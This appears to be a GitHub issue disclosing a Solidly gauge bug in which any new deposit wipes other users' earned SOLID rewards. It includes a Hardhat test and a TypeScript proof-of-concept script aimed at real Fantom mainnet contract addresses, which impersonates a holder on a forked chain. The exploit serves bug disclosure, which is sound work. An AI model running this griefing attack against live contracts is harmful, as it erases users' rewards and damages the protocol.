belbix/solidly

New deposit to a gauge remove all earned rewards from all users

belbix opened this issue · 1 comments

Solidly repo is closed so I put it here.

Test for showing how it works

solidly/test/minter.js

Lines 102 to 151 in c649d89

it("deposit should not reset rewards", async function () {
snapshot = await ethers.provider.send("evm_snapshot", []);
await mim.transfer(owner2.address, ethers.utils.parseUnits('10000'));
await ve_underlying.transfer(owner2.address, ethers.utils.parseUnits('10000'));
// *** DEPOSIT TO GAUGE LP token
const gauge = await depositToGauge(
owner2,
ve_underlying,
mim,
ethers.utils.parseUnits('1'),
router,
factory,
gauge_factory,
);
// *** DISTRIBUTE REWARDS
await network.provider.send("evm_increaseTime", [86400 * 14])
await network.provider.send("evm_mine")
await minter.update_period()
await gauge_factory.distro()
// *** WAIT some time
await network.provider.send("evm_increaseTime", [86400])
await network.provider.send("evm_mine")
// *** DEPOSIT TO GAUGE LP from another account
// !for making sure that the bug reproduces correctly comment this function and check expected rewards amount
await depositToGauge(
owner,
ve_underlying,
mim,
ethers.utils.parseUnits('1'),
router,
factory,
gauge_factory,
);
// *** CLAIM REWARDS
const balanceBefore = await ve_underlying.balanceOf(owner2.address);
await gauge.connect(owner2).getReward(owner2.address, [ve_underlying.address]);
const balanceAfter = await ve_underlying.balanceOf(owner2.address);
// should have the most weekly rewards
// ! we have only 10 rewards instead of 2mil
expect(balanceAfter.sub(balanceBefore)).to.be.above(ethers.utils.parseUnits('2500000'))
});

Fantom chain POC on typescrypt/typechain coz I don't have time to implement it on JS.

TL;DR;
An attacker can spam deposit actions to gauges and removes all earned SOLID rewards.
No funds are affected but it can ruin all solidly tokenomic.

import {ethers} from "hardhat";
import {BigNumber} from "ethers";
import {
  BaseV1Pair__factory,
  BaseV1Router01Old__factory,
  BaseV1Voter__factory,
  Gauge__factory,
  Token__factory
} from "../typechain";
import {formatUnits, parseUnits} from "ethers/lib/utils";

// tslint:disable-next-line:no-var-requires
const hre = require("hardhat");

async function main() {
  const signer = (await ethers.getSigners())[0];
  console.log('signer balance', formatUnits(await signer.getBalance()));
  const router = BaseV1Router01Old__factory.connect('0xa38cd27185a464914D3046f0AB9d43356B34829D', signer);
  const voter = BaseV1Voter__factory.connect('0xdC819F5d05a6859D2faCbB4A44E5aB105762dbaE', signer);

  const SOLID = '0x888EF71766ca594DED1F0FA3AE64eD2941740A20';
  const tomb = '0x6c021ae822bea943b2e66552bde1d2696a53fbb7'
  const wftm = '0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83'
  const pool = '0x60a861Cd30778678E3d613db96139440Bd333143' // tomb/wftm

  await router.swapExactFTMForTokens(
    0,
    [{from: wftm, to: tomb, stable: false}],
    signer.address,
    BigNumber.from('99999999999999'),
    {value: parseUnits('0.1')}
  );
  console.log('swapped');

  await Token__factory.connect(wftm, signer).deposit({value: parseUnits('0.1')});
  console.log('wftm deposited');

  await Token__factory.connect(tomb, signer).approve(router.address, parseUnits('9999'));
  console.log('approved');

  const tombBalance = await Token__factory.connect(tomb, signer).balanceOf(signer.address);
  await router.addLiquidityFTM(
    tomb,
    false,
    tombBalance,
    0,
    0,
    signer.address,
    BigNumber.from('99999999999999'),
    {value: parseUnits('0.1')}
  );
  const liquidityBalance = await BaseV1Pair__factory.connect(pool, signer).balanceOf(signer.address);
  console.log('liquidity added', liquidityBalance.toString());

  const gaugeAdr = await voter.gauges(pool);
  console.log('gaugeAdr', gaugeAdr);

  const gauge = Gauge__factory.connect(gaugeAdr, signer);

  const holder = '0x26E1A0d851CF28E697870e1b7F053B605C8b060F';

  console.log('earned', formatUnits(await gauge.earned(SOLID, holder)));

  await hre.network.provider.request({
    method: "hardhat_impersonateAccount",
    params: [holder],
  });
  await hre.network.provider.request({
    method: "hardhat_setBalance",
    params: [holder, "0x1431E0FAE6D7217CAA0000000"],
  });

  const holderWallet = await ethers.getSigner(holder);
  const solidBefore = await Token__factory.connect(SOLID, signer).balanceOf(holder);

  const snapshot = await ethers.provider.send("evm_snapshot", []);

  await gauge.connect(holderWallet).getReward(holder, [SOLID]);
  const solidAfter = await Token__factory.connect(SOLID, signer).balanceOf(holder);
  console.log("claimed", formatUnits(solidAfter.sub(solidBefore)));
  console.log('earned after claim', formatUnits(await gauge.earned(SOLID, holder)));

  await ethers.provider.send("evm_revert", [snapshot]);

  console.log('earned after rollback', formatUnits(await gauge.earned(SOLID, holder)));

  // third party deposit
  await Token__factory.connect(pool, signer).approve(gauge.address, parseUnits('9999'));
  await gauge.deposit(liquidityBalance, 0);
  console.log('earned after 3party deposit', formatUnits(await gauge.earned(SOLID, holder)));

  // not necessary
  await ethers.provider.send('evm_increaseTime', [60]);
  await ethers.provider.send('evm_mine', []);

  await gauge.connect(holderWallet).getReward(holder, [SOLID]);
  const solidAfter1 = await Token__factory.connect(SOLID, signer).balanceOf(holder);
  console.log("claimed after 3party deposit", formatUnits(solidAfter1.sub(solidBefore)));
  console.log('earned after claim', formatUnits(await gauge.earned(SOLID, holder)));

}

main()
  .then(() => process.exit(0))
  .catch(error => {
    console.error(error);
    process.exit(1);
  });

This will be fixed, and is one of the reasons we have been joining forces with 0xDAO